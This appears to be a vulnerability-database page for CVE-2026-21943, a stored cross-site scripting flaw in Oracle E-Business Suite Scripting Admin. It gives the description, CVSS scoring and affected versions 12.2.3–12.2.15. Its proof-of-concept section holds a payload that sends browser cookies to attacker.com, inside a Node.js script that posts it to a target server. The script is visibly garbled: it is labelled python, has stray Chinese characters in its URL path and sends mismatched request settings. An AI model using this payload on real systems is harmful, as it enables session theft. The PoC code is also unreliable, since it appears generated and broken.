Security Vulnerability Report
中文
CVE-2026-21943 CVSS 6.1 MEDIUM

CVE-2026-21943

Published: 2026-01-20 22:15:57
Last Modified: 2026-01-29 20:40:05

Description

Vulnerability in the Oracle Scripting product of Oracle E-Business Suite (component: Scripting Admin). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Scripting. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Scripting, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Scripting accessible data as well as unauthorized read access to a subset of Oracle Scripting accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:scripting:*:*:*:*:*:*:*:* - VULNERABLE
Oracle E-Business Suite 12.2.3
Oracle E-Business Suite 12.2.4
Oracle E-Business Suite 12.2.5
Oracle E-Business Suite 12.2.6
Oracle E-Business Suite 12.2.7
Oracle E-Business Suite 12.2.8
Oracle E-Business Suite 12.2.9
Oracle E-Business Suite 12.2.10
Oracle E-Business Suite 12.2.11
Oracle E-Business Suite 12.2.12
Oracle E-Business Suite 12.2.13
Oracle E-Business Suite 12.2.14
Oracle E-Business Suite 12.2.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21943 PoC - XSS in Oracle Scripting Admin // This PoC demonstrates a stored XSS vulnerability in Oracle E-Business Suite Scripting Admin const http = require('http'); const targetHost = 'target-oracle-ebs-server.com'; const targetPath = '/OA_HTML/icx清偿过ScriptingAdmin'; // Malicious XSS payload const xssPayload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>'; // Step 1: Create malicious script with XSS payload const createScriptData = JSON.stringify({ scriptName: 'Malicious Script' + xssPayload, scriptContent: 'alert("XSS")' }); const options = { hostname: targetHost, port: 443, path: targetPath, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(createScriptData) } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); }); req.write(createScriptData); req.end(); console.log('[+] PoC for CVE-2026-21943'); console.log('[+] Target: Oracle E-Business Suite Scripting Admin'); console.log('[+] Payload: ' + xssPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21943", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:57.147", "lastModified": "2026-01-29T20:40:04.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Scripting product of Oracle E-Business Suite (component: Scripting Admin). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Scripting. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Scripting, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Scripting accessible data as well as unauthorized read access to a subset of Oracle Scripting accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Scripting de Oracle E-Business Suite (componente: Scripting Admin). Las versiones compatibles que están afectadas son 12.2.3-12.2.15. La vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red a través de HTTP comprometer Oracle Scripting. Los ataques exitosos requieren interacción humana de una persona distinta al atacante y, aunque la vulnerabilidad está en Oracle Scripting, los ataques pueden impactar significativamente productos adicionales (cambio de alcance). Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de Oracle Scripting, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de Oracle Scripting. Puntuación Base CVSS 3.1 de 6.1 (impactos de Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:scripting:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.3", "versionEndIncluding": "12.2.15", "matchCriteriaId": "ECD007BA-0198-494F-8F63-912B08A1E6E7"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}